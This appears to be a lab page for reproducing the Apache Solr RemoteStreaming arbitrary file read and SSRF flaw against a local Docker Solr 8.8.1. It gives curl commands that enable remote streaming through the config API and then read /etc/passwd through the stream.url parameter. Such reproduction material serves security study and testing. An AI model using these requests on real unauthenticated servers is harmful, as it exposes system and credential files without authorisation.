Aaron
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Apache Solr RemoteStreaming Arbitrary File Reading and SSRF
Apache Solr is an open-source search server. When Apache Solr does not have authentication enabled, an attacker can craft a request to enable specific configurations, potentially leading to Server-Side Request Forgery (SSRF) or arbitrary file reading vulnerabilities.
References:
Environment Setup
Execute the following command to start an Apache Solr 8.8.1 server:
docker compose up -d
After the server starts, you can access the Apache Solr management interface at http://your-ip:8983/.
Vulnerability Reproduction
First, visit http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json to extract the database name:
Send the following request to modify the configuration of the demo core and enable RemoteStreaming:
curl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
$'http://your-ip:8983/solr/demo/config'
Then, you can read arbitrary files through the stream.url parameter:
curl -i -s -k 'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
